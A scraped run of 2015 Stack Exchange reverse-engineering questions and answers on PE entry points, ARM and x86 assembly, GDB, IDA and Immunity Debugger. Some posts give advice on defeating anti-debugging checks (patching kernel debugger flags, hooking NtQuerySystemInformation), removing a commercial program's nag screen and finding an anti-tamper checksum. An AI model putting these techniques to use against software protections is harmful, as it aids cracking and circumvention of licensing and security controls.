<p>You can see in the image below (full-size at <a href="https://i.stack.imgur.com/CMUou.png" rel="nofollow noreferrer">https://i.stack.imgur.com/CMUou.png</a>) that the DLL's entry point is <code>10807A1C</code>. I've pointed from the entry point's artificial entry in the Exports table (since IDA gets the address from the PE's Entry Point field, not the actual PE Export Table) to the disassembly for the entry point code via arrow #1.</p>
<p>The code at the entry point (named <code>DllEntryPoint()</code> by IDA) calls <code>___DllMainCRTStartup()</code> via arrow #2. Then <code>__DllMainCRTStartup()</code> calls <code>DllMain()</code> via arrow #3.</p>
<p>The two function executed before <code>DllMain()</code> are from VC++ 6's runtime library.</p>
<p><img src="https://i.stack.imgur.com/CzKQj.png" alt="IDA"></p>
|
8966
|
2015-05-23T01:32:32.950
|
<p>I've been looking into the PE format using a random DLL as a test case. When I look manually at the entry point specified in the optional header (and add the image base, because RVA) it doesn't match the entry point address IDA gives in the exports list.</p>
<p>I know reading the entry point from the DLL isn't the problem, since if I calculate:</p>
<pre><code>(AddressOfEntryPoint - [.text section virtual]) + [.text section offset]
</code></pre>
<p>(which should give the file offset to the entry point) you can find at the offset the same bytes that IDA says should be in the entry function.</p>
<p>Also I know that IDA must be calculating the entry point from this field since <code>DLLEntryPoint</code> isn't in the exports list.</p>
<p>Am I missing something? If I do the same analysis on a normal executable everything works.</p>
|
DLL entry point in memory
|
|dll|entry-point|
|
<p>I think the check you're talking about (<code>NtQuerySystemInformation</code> with <code>SystemKernelDebuggerInformation</code>) simply checks <code>KdDebuggerEnabled</code> and <code>KdDebuggerNotPresent</code> under the hood (both are single bytes exported from <code>ntoskrnl.exe</code>). You could simply patch those two to get past that particular check. Alternatively, you could go for hooking NtQuerySystemInformation either in usermode (you've mentioned that you can't make memory changes, but that's usually not true - if a memory change at some location is detected, then make the change somewhere else) or in kernelmode (requiring a PatchGuard bypass on 64-bit systems).</p>
<p>However, your kernel debugger might still be detected by its window/driver name.</p>
|
8968
|
2015-05-23T05:13:44.103
|
<p>I'm working on a program that has lots of checks, and I've decided to start by disabling their anti-kernel mode, as it'd surely be more easy to isolate than normal anti-debugging. After poking around a little, I found that <code>ntdll.zwquerysysteminformation</code> runs in a loop in the main thread called by several <code>.vmp</code> addresses. Since I <strong>can't make memory changes, even in DLLs</strong> (or debug it normally), I was thinking about setting up kernel mode breakpoints until I have a bit more to go off of, but to do that, I'd need the offset from the base structure containing the byte. Microsoft doesn't seem to provide this, so would anyone happen to know? Or maybe have general pointers on getting past kernel mode detection in obfuscated targets? I know this is pretty broad, but I'm pretty sure they'd only have used the most basic of methods.</p>
|
Anti-kernelmode functions (specifically zwquerysysteminformation)
|
|disassembly|debuggers|kernel-mode|
|
<p>By default, <code>as</code>, uses the old 'divided' syntax for arm and thumb instructions. Hence it is not recognising your <code>pop.w</code> instruction.</p>
<p>To make it work, add <code>.syntax unified</code> at the start of your program. This tells it to use the new unified syntax and you should find it assembles <code>pop.w</code> successfully.</p>
<p>See <a href="https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html">https://sourceware.org/binutils/docs-2.24/as/ARM_002dInstruction_002dSet.html</a> for more details.</p>
|
8971
|
2015-05-23T18:06:47.183
|
<p>I disassembled an android library with IDA, and want to do some extra steps at the end of one of the functions. Currently, the last instruction bytes are <code>BD E8 F0 8F</code>, in thumb mode, which IDA disassembles to <code>POP.W {R4-R11,PC}</code>.</p>
<p>So i found a nice little piece of unused space, replaced the <code>POP.W</code> with a branch there, wrote my extension, remembered to put a <code>.thumb</code> and <code>.arch armv7a</code> at the start of my program, and finished my code with that <code>POP.W {R4-R11,PC}</code>. Unfortunately, using gnu as from an arm toolchain, this results in <code>Error: bad instruction pop.w '{R4-R11,PC}'</code> </p>
<p>Ok, gnu as doesn't like the .w suffix, so i replaced the instruction with <code>POP {R4-R11,PC}</code>. This changes the error message to Error: invalid register list to push/pop instruction -- <code>pop {R4-R11,PC}</code></p>
<p>I know that some older ARM chips had restrictions on what you could do with registers from R8 on, so, just for verification, i replaced the instruction with <code>POP {R4-R7,PC}</code>. And indeed, as assembles this well.</p>
<p>Now I don't know how to continue?</p>
<ul>
<li>Maybe I have to give another architecture option to as. But .arch armv7a seems to be the newest which is valid with android armv7a libraries.</li>
<li>Maybe i'm completely off track, and the pop instruction is actually a macro for two separate instructions, which pop high and low registers after another. But, the result of entering the individual two-byte instructions (<code>BD E8</code>, <code>F0 8F</code>) into the online disassembler seems to have nothing to do with popping from the stack.</li>
</ul>
<p>I also tried disabling macros in IDA's processor options, which didn't change anything. So i'm inclined to think the byte sequence is a genuine 4 byte thumb mode opcode.</p>
<p>What else do i need to specify in my program to make gnu as recognize the instruction?</p>
|
How do i make gnu as recognize all ARMV7 instructions?
|
|arm|assembly|
|
<p>• AX/EAX/RAX: Accumulator</p>
<p>• BX/EBX/RBX: Base index (for use with arrays)</p>
<p>• CX/ECX/RCX: Counter</p>
<p>• DX/EDX/RDX: Data/general</p>
<p>• SI/ESI/RSI: Source index for string operations.</p>
<p>• DI/EDI/RDI: Destination index for string operations.</p>
<p>• SP/ESP/RSP: Stack pointer for top address of the stack.</p>
<p>• BP/EBP/RBP: Stack base pointer for holding the address of the current stack frame.</p>
<p>• IP/EIP/RIP: Instruction pointer. Holds the program counter, the current instruction address.</p>
<p>Segment registers:</p>
<p>• CS: Code Segment (used for IP)</p>
<p>• DS: Data Segment (used for MOV)</p>
<p>• SS: Stack Segment (used for SP)</p>
<p>• ES: Destination Segment (used for MOVS, etc.)</p>
<p>• FS: local store</p>
<p>• GS: local store</p>
|
8973
|
2015-05-24T08:00:04.440
|
<p>Some of the general purpose registers are used for some specific reasons. For example <code>EAX</code> is used as an accumulator and to store return values, <code>ECX</code> is used as a counter, <code>ESI</code> and <code>EDI</code> are used to store the src and dst address, respectively. similarly, <code>ESP</code> and <code>EBP</code>.</p>
<p>Is there any specific use case for<code>EBX</code> register? and Is there anything else that I have missed special use cases of general purpose registers?</p>
<p>Thank you.</p>
|
What are the some of the special usecases of general purpose registers
|
|disassembly|assembly|
|
<p>Note: This is a very opinion based answer, so some people will strongly disagree with me. But your question doesn't have a real good answer that would be valid for others as well.</p>
<p>My personal experience is that, to be good at hacking, ethical or not, you need to have a very strong drive to want to find out how things work, an eye for technical details, and the ability to figure out things of your own.</p>
<p>Noone i know who is good at hacking, reverse engineering, or anything in related fields, decided one day "I'd like to be a hacker, so let's learn how to do it". Rather, these guys cut open the heads of their sister's dolls at the age of 6 to find out how the mechanism worked that closed the eyes when you laid them to bed, got their first electrical shock at 12 when they opened some electronics device, and started hacking as a hobby in their teens. Staying up all night to finally find out how something worked seemed to be much more rewarding that, say, talking an alcoholic drink out of a barkeeper when you were underage.</p>
<p>Later, they turned the experience they had with this kind of stuff into a job. Much of this job belongs of long, arduous sessions at the computer, paying attention to every little detail, until you finally get your reward in that "yay! I did it!" feeling.</p>
<p>This kind of person is not, in my opinion, somebody who does an ERP consultant job for 10 years, given the chance to choose. But in the end, it's up to you to decide if you're this type.</p>
<p>I know many people who do a job they don't really like, work from 9 to 5 to earn their living, don't even want to think or talk about their job in their free time, and are still moderately successful in terms of money or social status. This is ok; many jobs aren't that demanding, but need to be done. However, this won't work if you intend to be a hacker. To be a successful hacker, you don't have to want to be a successful hacker, you have to be curious, need an intense appetite to satisfy that curiosity, and have a strong will to never stop attacking a problem until you solve it.</p>
<p>Now, it's up to you to decide if that appeals to you.</p>
|
8978
|
2015-05-25T02:07:28.227
|
<p>I am working as an ERP consultant for post 10 years. I find Ethical hacking and reverse engineering very interesting and want to become one. I have been reading some books and also watching videos. But, is it too late to choose that as a career? If not, what should I do, learn and imbibe?</p>
<p>EDIT:Sorry folks! Only from the downvotes I realized that this question is opinion based and SO is not for such questions. However, from the comments and replies, I sense some motivation enough to fuel me. I will be deleting this post shortly.Thanks!</p>
|
10 years as erp consultant. Is too late to become an ethical hacker?
|
|career-advice|
|
<p>The condition codes displayed after the instructions is a convenience feature of the disassembler (deduced from the preceding <code>IT</code> instruction), the individual Thumb-2 instructions <em>do not encode the condition codes</em>. Adding condition codes even if they're not encoded is also the practice <a href="https://stackoverflow.com/a/20899475/422797">recommended by ARM</a> when writing <a href="http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0473c/BABJIHGJ.html" rel="nofollow noreferrer">UAL assembly</a>. This serves two purposes:</p>
<ol>
<li><p>The assembler can check that the <code>IT</code> instruction matches the following conditional-suffixed instructions (e.g. all <code>T</code> instructions use the same condition as <code>IT</code> itself and all <code>E</code> ones use the opposite one),and no conditional instructions appear outside of the <code>IT</code> range.</p></li>
<li><p>The same assembly can be used when assembling for ARM mode - the IT instruction is ignored (or hidden by an <code>ifdef</code>) and conditional instructions are assembled as regular conditional ARM instructions.</p></li>
</ol>
|
8989
|
2015-05-26T12:26:43.073
|
<p>I'm trying to understand the syntax of the <code>IT</code> instruction that is to be used to enable conditional execution of instructions on ARM, in Thumb2 mode.</p>
<p>The way I understand it, the bits in the CPSR register along with the <code>IT</code> instruction make conditional execution possible in Thumb mode. If I were writing some Thumb2 code perhaps I could go about following the process mentioned below.</p>
<p>Lets say I have 4 conditional instructions(the maximum limit suported by <code>IT</code>).</p>
<ol>
<li>First, I write down by conditional instructions. Lets say the prefixes for the four instructions are <code>CLZNE.W</code>, <code>CLZEQ.W</code>, <code>ADDEQ</code>, <code>ADDNEQ</code>.</li>
<li>Now before the conditional instructions I add an instruction of the form <code>ITEEE NE</code>. The NE is added as the first instruction has an NE. The <code>EEE</code> following the IT are added as the last 3 instructions are the converse of an <code>NE</code>. Is this how assembly programmers write conditional thumb2 ARM code? Is my understanding of the process correct?</li>
<li>Why is the condition encoded in both <code>IT</code> and the instructions that follow?</li>
</ol>
|
Conditional instructions on ARM
|
|arm|
|
<p><strong><code>p $reg</code></strong></p>
<p>In QEMU v3.0.0 built from source <a href="https://stackoverflow.com/questions/20590155/how-to-single-step-arm-assembly-in-gdb-on-qemu/51310791#51310791">user mode</a> + GDB 8.2 Ubuntu 16.04, if you do: <code>info registers</code> and <code>info vector</code> it does not show the floating point values but rather rounds them down to integers, I think there is a bug. </p>
<p>The following does work however. First I load:</p>
<pre><code>1.5, 2.5, 3.5, 4.5
</code></pre>
<p>into v0 / q0.</p>
<p><strong>ARMv8</strong></p>
<pre><code>(gdb) p $v0
$2 = {
d = {
f = {[0] = 8.0000018998980522, [1] = 1024.0002455711365},
u = {[0] = 4620693218751676416, [1] = 4652218416153755648},
s = {[0] = 4620693218751676416, [1] = 4652218416153755648}
},
s = {
f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5},
u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008},
s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}
},
h = {
u = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528},
s = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528}
},
b = {
u = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64},
s = {[0] = 0, [1] = 0, [2] = -64, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = -112, [15] = 64}
},
q = {
u = {[0] = 85818282497786728556221825347259203584},
s = {[0] = 85818282497786728556221825347259203584}
}
}
</code></pre>
<p>and:</p>
<pre><code>(gdb) p $v0.s
$3 = {
f = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5},
u = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008},
s = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008}
}
</code></pre>
<p>and:</p>
<pre><code>(gdb) p $v0.s.f
$3 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}
</code></pre>
<p><a href="https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v8/simd.S#L68" rel="nofollow noreferrer">Test setup</a>.</p>
<p><strong>ARMv7</strong></p>
<pre><code>(gdb) p $q0
$3 = {
u8 = {[0] = 0, [1] = 0, [2] = 192, [3] = 63, [4] = 0, [5] = 0, [6] = 32, [7] = 64, [8] = 0, [9] = 0, [10] = 96, [11] = 64, [12] = 0, [13] = 0, [14] = 144, [15] = 64},
u16 = {[0] = 0, [1] = 16320, [2] = 0, [3] = 16416, [4] = 0, [5] = 16480, [6] = 0, [7] = 16528},
u32 = {[0] = 1069547520, [1] = 1075838976, [2] = 1080033280, [3] = 1083179008},
u64 = {[0] = 4620693218751676416, [1] = 4652218416153755648},
f32 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5},
f64 = {[0] = 8.0000018998980522, [1] = 1024.0002455711365}
}
</code></pre>
<p>and:</p>
<pre><code>(gdb) p $q0.f32
$5 = {[0] = 1.5, [1] = 2.5, [2] = 3.5, [3] = 4.5}
</code></pre>
<p><a href="https://github.com/cirosantilli/arm-assembly-cheat/blob/d5dafc3528f8f735e5ed0f36e7aa8014a145a240/v7/simd.S#L89" rel="nofollow noreferrer">Test setup</a>.</p>
<p><strong>Bug</strong></p>
<p>The bug I mentioned earlier, leads in ARMv8 to:</p>
<pre><code>(gdb) i r v0
v0 {
d = {
f = {[0x0] = 0x8, [0x1] = 0x400},
u = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000},
s = {[0x0] = 0x402000003fc00000, [0x1] = 0x4090000040600000}
},
s = {
f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4},
u = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000},
s = {[0x0] = 0x3fc00000, [0x1] = 0x40200000, [0x2] = 0x40600000, [0x3] = 0x40900000}
},
h = {
u = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090},
s = {[0x0] = 0x0, [0x1] = 0x3fc0, [0x2] = 0x0, [0x3] = 0x4020, [0x4] = 0x0, [0x5] = 0x4060, [0x6] = 0x0, [0x7] = 0x4090}
},
b = {
u = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40},
s = {[0x0] = 0x0, [0x1] = 0x0, [0x2] = 0xc0, [0x3] = 0x3f, [0x4] = 0x0, [0x5] = 0x0, [0x6] = 0x20, [0x7] = 0x40, [0x8] = 0x0, [0x9] = 0x0, [0xa] = 0x60, [0xb] = 0x40, [0xc] = 0x0, [0xd] = 0x0, [0xe] = 0x90, [0xf] = 0x40}
},
q = {
u = {[0x0] = 0x4090000040600000402000003fc00000},
s = {[0x0] = 0x4090000040600000402000003fc00000}
}
}
</code></pre>
<p>So note how the <code>v0.s.f</code> line has rounded down integers instead of floats:</p>
<pre><code> s = {
f = {[0x0] = 0x1, [0x1] = 0x2, [0x2] = 0x3, [0x3] = 0x4},
</code></pre>
<p><strong>SVE</strong></p>
<p>Not yet implemented on QEMU, see: <a href="https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917">https://stackoverflow.com/questions/52888916/how-to-assemble-arm-sve-instructions-with-gnu-gas-or-llvm-and-run-it-on-qemu/52888917#52888917</a></p>
|
8992
|
2015-05-26T14:30:22.467
|
<p>When I disassemble ARM code that deals with floating point values, how can I print out the registers? (I'm using Gdb).</p>
<pre><code> 0x000083d8 <+12>: ldr r3, [pc, #56] ; 0x8418 <main+76>
0x000083dc <+16>: str r3, [r11, #-8]
0x000083e0 <+20>: vldr s14, [r11, #-8]
0x000083e4 <+24>: vldr s15, [pc, #40] ; 0x8414 <main+72>
</code></pre>
<p>How could I print out the <code>s14</code> register in this case?</p>
|
Floating point registers on ARM
|
|arm|
|
<p>Optimizing compilers will typically use the method above for compiling division by a constant.</p>
<p>You can read more about it at the following links:</p>
<ul>
<li><a href="https://web.archive.org/web/20160114090130/http://blogs.msdn.com/b/devdev/archive/2005/12/12/502980.aspx" rel="nofollow noreferrer">Integer division by constants</a></li>
<li><a href="https://reverseengineering.stackexchange.com/questions/1397/how-can-i-reverse-optimized-integer-division-modulo-by-constant-operations">How can I reverse optimized integer division/modulo by constant operations?</a></li>
<li><a href="http://www.nynaeve.net/?p=115" rel="nofollow noreferrer">Compiler tricks in x86 assembly</a></li>
</ul>
|
8994
|
2015-05-26T14:35:27.927
|
<p>When performing division on ARM, this is the code snippet that I encountered.</p>
<pre><code> 0x83d8 <main+12>: mov r3, #10
0x83dc <main+16>: str r3, [r11, #-8]
0x83e0 <main+20>: ldr r3, [r11, #-8]
=> 0x83e4 <main+24>: ldr r2, [pc, #40] ;; 0x8414 <main+72>
0x83e8 <main+28>: smull r1, r2, r2, r3
0x83ec <main+32>: asr r3, r3, #31
0x83f0 <main+36>: rsb r3, r3, r2
0x83f4 <main+40>: str r3, [r11, #-8]
</code></pre>
<p>In the original program, I store the value <code>10</code> to a variable, divide it by <code>3</code> and store it in the same variable.</p>
<p><code>[r11, #-8]</code> in the above example has the value <code>0xa</code>. After <code>0x83e4</code>, r2 is loaded up as <code>0x55555556</code>. My doubts are as follows :-</p>
<ol>
<li>Is this a common way of performing division without the <code>div</code> instruction?</li>
<li>What are the other ways you have encountered in which division is performed without using an instruction that performs division?</li>
</ol>
|
Division on ARM
|
|arm|
|
<p>The blob file is compressed with zlib, so you have to decompress it first. The first 4 bytes of the blob is the decompressed size and the compressed content start at 6th byte.<p>
After the decompression you got binary file starting with <code>0xDEADBEAF</code> (in big-endian, marked as yellow in the figure). After it you can find some header parameters, one of the <code>0x22</code> (marked as green) is the number of rows.<p>
After the header you can find the row data as 32-bit float (<a href="http://www.binaryconvert.com/result_float.html?hexadecimal=BFBF589F" rel="noreferrer">see float conversion here</a>):</p>
<pre><code>6 = 06
0.756431 = 0x3f41a578
-1.494892 = 0xbfbf589f
</code></pre>
<p><img src="https://i.stack.imgur.com/Chx2n.png" alt="Decompressed blob"></p>
|
8999
|
2015-05-27T11:53:11.680
|
<p>I have a program which converts file to blob in sqlite database. It uses QT framework. I can normally save the file from the database but only through its GUI (which is really painful).
I want to be able to decode the blob in sqlite to the original file.
I have attached the original and encoded file here <a href="https://drive.google.com/file/d/0B2BLH3kVAYbgQVVzTTFRRzNHMlk/view?usp=sharing" rel="nofollow">link</a>
(click download button)
It is likely using qtarray and qstring but I am not sure. It seems also that the header is removed while encoding.
I would really appreciate your help. </p>
|
decoding blob into original file
|
|decryption|
|
<p>There is another point that might be problematic.
Sometimes on some platforms IDA does not recognize code areas correctly and defines data as a code in complicated functions or complicated code at all. Defining this code as a function may insert it to auto-analysis queue and all incorrectly defined references from this mistakenly recognized code may break another functions. This problem also occurs when working with obfuscated code.</p>
<p>Unfortunately as @Guntram Blohm said, the functions that called indirectly might be not recognized as such, so the solution for this problem is still needed. I'd suggest a bit better algorithm for creating such functions:
Don't convert each instruction to function automatically.
Find all function prologues instead (for example something like 2 pushes in the functions on your picture), and try to create a function where you can recognize this prologue only.</p>
<p>It can be done with IDAPython by using function <code>idc.MakeFunction(prologue_address)</code> without second parameter. In such case IDA will try to define function borders automatically. </p>
|
9005
|
2015-05-27T17:50:30.937
|
<p>Some instructions in a binary do not belong to a function, or, IDA does not manage to recover one. See for example the red addresses in the below screen shot.</p>
<p>Yet, one can right-click such 'function-less' addresses and selct <code>Create function</code> from the menu (see below screenshot).</p>
<p>Are there any side effects of creating a function from 'function-less' instructions? For example, does it change instructions, symbols, variables, etc.? Does it change IDA-generated xrefs and thus has an effects on a static control flow analysis?</p>
<p>I am asking because I have to work with an algorithm that can only process instructions which belongs to a function. My idea was to go through the binary and keep creating functions until all 'function-less' instructions belong to a function. </p>
<p>Do you see any possible disadvantages of this approach?</p>
<p><img src="https://i.stack.imgur.com/ul8Al.png" alt="enter image description here"></p>
|
IDA Pro: Side effects or disadvantages of "Create function"
|
|ida|disassembly|idapython|static-analysis|
|
<p>Immunity Debugger 1.60 and above supports loading of PDB Symbol files both locally or from a symbol server. In order to enable it.</p>
<ol>
<li>Go to <em>Debug</em> menu -> <em>Debugging Symbol Options</em>.</li>
</ol>
<p><img src="https://i.stack.imgur.com/IKvFU.png" alt="enter image description here"></p>
<ol start="2">
<li>Provide the local path to the symbol files or to a symbol server.</li>
</ol>
<p><img src="https://i.stack.imgur.com/dW7E9.png" alt="enter image description here"></p>
<hr>
<p><strong>UPDATE</strong></p>
<p>If ImmDbg successfully loaded the pdb symbol for the specified file, you would get a message in the logs in the form <code>Debugging Information (DIA Format) available</code> below the dll loading event. See the image below for reference.</p>
<p><img src="https://i.stack.imgur.com/Pmoo3.png" alt="enter image description here"></p>
<p>If even after all this, you cannot load the appropriate symbol for a file, then </p>
<ol>
<li>You may have misconfigured the symbol path. </li>
<li>In case of local symbol, the PDB file present on the system does not match with the PE.</li>
<li>In case of symbol server, appropriate PDB file could not be found.</li>
</ol>
<p>In such a case you can run the <em>symcheck</em> tool provided with windbg. Example usage</p>
<pre><code>C:\Program Files\Debugging Tools for Windows (x86)>symchk C:\WINDOWS\system32\kernel32.dll /s C:\WINDOWS\Symbols
SYMCHK: FAILED files = 0
SYMCHK: PASSED + IGNORED files = 1
C:\Program Files\Debugging Tools for Windows (x86)>symchk C:\WINDOWS\system32\mshtml.dll /s C:\WINDOWS\Symbols
SYMCHK: mshtml.dll FAILED - mshtml.pdb mismatched or not found
SYMCHK: FAILED files = 1
SYMCHK: PASSED + IGNORED files = 0
</code></pre>
<hr>
<p><strong>UPDATE 2</strong></p>
<p>Screenshot of Immunity Debugger with symbols for <em>mshtml.dll</em> loaded. This is taken from Windows XP SP3.</p>
<p><img src="https://i.stack.imgur.com/cSzrH.png" alt="enter image description here"></p>
<p><strong>Other Info</strong>: ImmDbg could not download symbols from the MS Symbol Server, so had to use the symcheck tool to download symbol for <em>mshtml.dll</em> .</p>
<pre><code>symchk /r c:\windows\system32\mshtml.dll /s SRV*c:\symbols\*http://msdl.microsoft.com/download/symbols
</code></pre>
<p>The symbol directory should look like this.</p>
<pre><code>C:\symbols>dir
Volume in drive C has no label.
Volume Serial Number is 042A-A7E6
Directory of C:\symbols
06/05/2015 12:39 PM <DIR> .
06/05/2015 12:39 PM <DIR> ..
04/15/2008 09:21 AM 7,965,696 mshtml.pdb
06/05/2015 11:17 AM 0 pingme.txt
</code></pre>
<p>Next, pointed ImmDbg to <code>C:\symbols\</code>. Used <em>loaddll</em> to load <em>mshtml.dll</em> and it automatically picked up the symbol on loading. This can also be seen in the logs.</p>
<p><img src="https://i.stack.imgur.com/NymMI.png" alt="enter image description here"></p>
|
9006
|
2015-05-27T18:21:38.267
|
<p>I know Immdbg already recognizes Windows internals function names, like kernel32.dll and user32.dll</p>
<p>What I want is to load Internet Explorer symbols the same way WinDbg does. Does someone knows it is possible, like mshtml.dll?</p>
<p><img src="https://i.stack.imgur.com/73Ijg.png" alt="enter image description here"></p>
|
Load IE symbols in Immunity Debugger
|
|immunity-debugger|debugging-symbols|
|
<p><strong><em>EDIT:</strong> The OP updated his question yesterday to say that he's dealing with a .NET application, so the advice below no longer applies. I'll leave this answer here though since it might help others for Win32 applications.</em></p>
<p>Try setting breakpoints on API functions that might be used to create the nag screen.</p>
<p>For example, (from <a href="http://www.woodmann.com/krobar/beginner/p03_8.html" rel="nofollow">http://www.woodmann.com/krobar/beginner/p03_8.html</a>):</p>
<ul>
<li><code>CreateWindow()</code></li>
<li><code>CreateWindowEx()</code></li>
<li><code>ShowWindow()</code></li>
<li><code>UpdateWindow()</code></li>
<li>etc.</li>
</ul>
|
9007
|
2015-05-27T19:10:11.633
|
<p>I would like to remove a nag screen from a popular program. To do this I need to make sure the screen never gets called. So, the first task is to find the actual location of the nag (where it is called from). None of the strings in the nag screen seemed to show up in Ollydbg's string search. The only thing I managed to find on my own was the window of the nag in OllyDBG's window references, but I'm not sure if it was very useful.</p>
<p>What methods are commonly used to find the call locations of nag screens? If you guys set me on the right path, I'm sure I can figure out the rest on my own. :)</p>
<p>Some extra info: the program seems to have been developed in .Net, the title of the nag showed up in the window reference list of OllyDBG but I couldn't find it in the string search.</p>
<p>Second edit: I don't think it's .net. I tried doing ´tasklist /m "mscor*"´, but it didn't show up (which it probably should have, if it's .net)</p>
|
Methods of discovering the location of nag/pop-up screens besides string search?
|
|ollydbg|.net|
|
<p><code>idc.MakeName(ea, name)</code> should suffice.</p>
<p>Note that the flags accepted by <a href="https://www.hex-rays.com/products/ida/support/idadoc/203.shtml" rel="noreferrer"><code>MakeNameEx()</code></a> don't change the function's properties or function's flags; they're instead used with regard to how the naming itself is handled.</p>
|
9016
|
2015-05-29T09:12:29.940
|
<p>Is there a way to specify the name of a function when creating it with <code>idc.MakeFunction()</code>?</p>
<p>If not, what is the best practice to rename a function?
I found <code>idc.GetFunctionName(ea)</code> but no counterpart to set a name. A google research turned up some examples where people used <code>idc.MakeNameEx()</code>. Yet, the purpose of <code>MakeNameEx</code>seems to be to rename addresses:</p>
<pre><code>def MakeNameEx(ea, name, flags): """ Rename an address
@param ea: linear address
@param name: new name of address. If name == "", then delete old name @param
flags: combination of SN_... constants
</code></pre>
<p>And involves a whole bunch of flags such as:</p>
<pre><code>[...]
SN_NOCHECK = idaapi.SN_NOCHECK # Replace invalid chars with SubstChar
SN_PUBLIC = idaapi.SN_PUBLIC # if set, make name public
SN_NON_PUBLIC = idaapi.SN_NON_PUBLIC # if set, make name non-public
SN_WEAK = idaapi.SN_WEAK # if set, make name weak
SN_NON_WEAK = idaapi.SN_NON_WEAK # if set, make name non-weak
[...]
</code></pre>
<p>What I need is a simple rename of a function keeping all its properties, flags etc...</p>
|
Setting name of (newly created) functions via IDAPython
|
|ida|idapython|
|
<p>It really depends on the program. You mentioned that it receives a saved checksum from the net and checks it against the computed value - one way you could do this is to look for recv() calls (or whatever function they use to handle incoming packets). </p>
<p>I will say that it would probably be much quicker to do this dynamically rather than statically. If you set a breakpoint on the packet handling function, you should be able to find where the check is occurring relatively easily (it should occur very soon after the 13 byte string is received). From there, you can work backwards and see where the computed value came from - if it's a pointer to the value, you can set a memory access breakpoint and run it again; if it's just the value, you can see how it was pushed onto the stack/accessed.</p>
<p>If you're dead set on doing it statically, good luck. Because it doesn't change from run to run, it's probably some kind of binary operation on the program - either a CRC or weak hash would be my guess.</p>
|
9023
|
2015-05-29T22:11:40.800
|
<p>I have an dll that is loaded into a 64 bit process, it performs two check sums (at least) one to keep up to date (it receives a 13 character long string from the net which I'm fairly certain is an in house hash as it never changes and doesn't seem to corespond to any hash pattern I can think of 11 numbers 2 uppercase letters at the end) and the other to defeat people trying to patch/analyze behaviour of different execution paths, it will refuse to run if it's checksum is different than the expected one. I tested this by hex editing a string the program uses which resulted in the dll never running, patching it during runtime with a memory editor did work.
I guess the real question is how would I go about identifying where the checksumming happens, what are the common imports I should be hunting using IDA etc.</p>
|
finding a checksum function using static analysis (IDA)
|
|ida|static-analysis|dll|
|
<p>Doing it the hard way:</p>
<ol>
<li><p>disassemble the target PLT stub and figure out what pointer it's using. E.g.:</p>
<pre><code>359dc: e28fc601 add ip, pc, #1048576 ; 0x100000
359e0: e28ccaa2 add ip, ip, #663552 ; 0xa2000
359e4: e5bcf900 ldr pc, [ip, #2304]! ; 0x900
</code></pre>
<p>Here, the <code>ip</code> will be: <code>0x359e4+0x100000+0xa2000 = 0x1D79E4</code>, so the last <code>LDR</code> will dereference <code>1D79E4+0x900 = 0x1D82E4</code>. </p></li>
<li><p>look up the address in the list of relocs (<code>objdump -dr</code>):</p>
<pre><code>001d82e4 00005216 R_ARM_JUMP_SLOT 00000000 _ZN2cv10cvarrToMatEPKv
</code></pre></li>
</ol>
<p>Doing it the easy way:</p>
<ol>
<li><p>Just use IDA :), or at least a newer <code>objdump</code> <a href="http://www.sourceware.org/ml/binutils/2004-04/msg00469.html" rel="nofollow">which knows about PLT stubs</a>.</p>
<pre><code>000359dc <_ZN2cv10cvarrToMatEPKvbbi@plt>:
</code></pre></li>
</ol>
<p>Please note that <code>objdump</code> relies on the fact that the order of PLT stubs usually matches the order of relocations in the PLT reloc list. In theory, one can patch a PLT stub after linking so it uses another symbol's pointer.</p>
|
9033
|
2015-05-31T03:06:51.773
|
<p>when I disassemble an OpenCV dynamic library file (<code>libopencv_imgproc.so</code>), I find that there are a lot of <code>bl</code> instructions which target address are in the <code>.plt</code> section. But, I could'n find its symbol info. </p>
<pre><code>00110ee0 <cvResize>:
110ee0: b5f0 push {r4, r5, r6, r7, lr}
110ee2: 4603 mov r3, r0
110ee4: b0bf sub sp, #252 ; 0xfc
...
110ef4: 4ca8 ldr r4, [pc, #672] ; (111198 <cvResize+0x2b8>)
110ef6: 9500 str r5, [sp, #0]
110ef8: f70e ebda blx 1f6b0 <_init+0x2b4>
...
</code></pre>
<p>I could not find the address <code>1f6b0</code> in the <code>.text</code> section. It actually is in the <code>.plt</code> section. However, I couldn't find it in the symbol table.
How can I get these missed symbol info?</p>
|
How to recognize the function call in a dynamic lib?
|
|arm|dynamic-linking|
|
